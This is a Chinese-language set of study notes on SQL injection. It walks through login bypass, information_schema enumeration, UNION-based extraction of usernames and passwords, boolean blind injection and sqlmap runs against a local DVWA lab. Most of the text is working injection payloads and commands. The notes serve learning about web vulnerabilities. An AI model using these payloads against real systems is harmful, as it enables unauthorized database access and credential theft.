还是有点乱,有时间会把弄好的

常见的SQL注入有数字型注入、Union注入、字符型注入、布尔盲注、时间注入、报错注入和堆叠注入

浏览器会自动将URI中的特殊字符进行URL编码,服务器收到请求后会自动进行URL解码

万能密码

SELECT username, password FROM users WHERE username='' or 1=1 -- AND password='anything
用户的输入用户名为' or 1=1 --,密码为任意值即可

information_schema数据库

1、查看数据库名
select schema_name from information_schema.schemata;

2、查看表名
select table_name from information_schema.tables where table_schema='security';
这个security是上一步查出来的数据库名称

3、查看列名
select column_name from information_schema.columns where table_name='users' and table_schema='security';
users是上一步查出来的表名

4、查数据
select username,password from security.users;
username和password是一步查出来的列名

数字型注入

1、?id=1' 加单引号输出错误
2、?id=1 and 1=1 输出正常
3、?id=1 and 1=2 输出错误
则存在数字型注入漏洞(或直接通过id=3-1和id=2的回显页面一致,判断这里存在数字型注入)

4、然后通过联合查询,查询到本数据库的其他所有表名
?id=-1 union select 1,group_concat(table_name) from information_schema,tables where table_schema=database()
table_name字段是information_schema库中tables表的表名字段,表中还有数据库名字段table_schema。database()函数返回的内容是当前数据库的名称。group_contact是用联合多行记录的函数,也就是说该语句可以联合查询当前库的所有(事实上有一定长度限制)表名并显示在一个字段中。

5、通过columns表及其中的column_name查询出的内容即为wp_user(上一步查询出的一个表名)中的字段名
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wp_user'

字符型注入流程

1、判断是否存在注入点
先输入一个单引号,看页面是否错误输出,如果错误输出,继续进行下一步(或者 id=3-1观察页面是否为空再
id=2a观察页面是否有结果,如果有,那么多半就是字符型)

SELECT first_name,last_name FROM users WHERE user_id=’1’ and 1=1#
用户输入的数据为1’ and 1=1#

SELECT first_name,last_name FROM users WHERE user_id=’1’ and 1=2#
用户输入的数据为1’ and 1=2#

两次尝试后1=1正常输出,1=2错误输出,证明SQL语句生效,存在SQL注入漏洞

尝试使用单引号来闭合前面的单引号,再用--%20%23注释后面的语句。这里一定要用url编码,空格的编码是%20, #的编码是%23
id=2%27%23

where id='1'#' 此时的MySQL语句

2、判断数据库列数 order by [column_num]

SELECT first_name,last_name FROM users WHERE user_id=’1’  order by 1 #
SELECT first_name,last_name FROM users WHERE user_id=’1’ order by 2 #
SELECT first_name,last_name FROM users WHERE user_id=’1’ order by 3 #

当表中只有两列,order by 3就会出错

3、联合查询其他信息 union select [sql1] [sql2]

SELECT first_name,last_name FROM users WHERE user_id=’1’  union  select  user(),database()#
用户输入的SQL语句,执行了MYSQL内置函数user()和database(),user()返回当前数据库连接用户,database()返回当前数据库名称

4、联合查询表 union select table_name,table_schema from information_schema.tables where table_schema= ‘[database_name]’

SELECT first_name,last_name FROM users WHERE user_id=’1’ union select table_name,table_schema  from  information_schema.tables  where  table_schema=’dvwa’#
从information_schema数据库中查询dvwa数据库表
这一步是为了查询数据库中有哪些表,因为上一步查到了数据库的名称,这个dvwa就是上一步查询到的数据库的名称。我们想要看看这个数据库里面有什么东西,除了数据库名称根据实际进行更改,其他内容是固定不变的。

5、联合查询信息 union [query_sql]

SELECT first_name,last_name FROM users WHERE user_id=’1’ union select user,password  from  users#
上一步查询到数据库中有哪些表,现在想要查看表中的内容。假设这里的users就是上一步中查到的表,猜测可能会有user和password这两个属性,查询user和password的值

布尔盲注

各数据库在字符串处理时的区别

id=1' and (ascii(substr(database(),1,1))=115)=1%23 由于数据库第一位s的ascii值为115,就构造出1=1的结构,页面正常

limit使用

select * from table limit m,n;
注意这里的m是从0开始,得到第一张表需要用到limit 0,1

关于Union联合注入的问题

? id=1 union select user,pwd from wp_user;
可能MySQL确实查询出了两行记录,但是PHP代码决定了页面只显示一行代码

可以在原有数据后面加上limit 1,1 (是一个条件限制,作用是取查询结果第一条记录后的一条记录)
? id=1 union select user,pwd from wp_user limit 1,1;

也可以指定id=-1或者一个很大的值,使得第一行记录无法被查到,这样结果就只有UNION的查询结果了

sqlmap的使用

1、检测漏洞
python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit#"
大部分情况下的网站是可以直接这样的
但是dvwa需要登录,所以需要添加cookie信息

cookie信息怎么看:

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie =”security=low; PHPSESSID=13nt494nnep4ge910t9d0tq91o”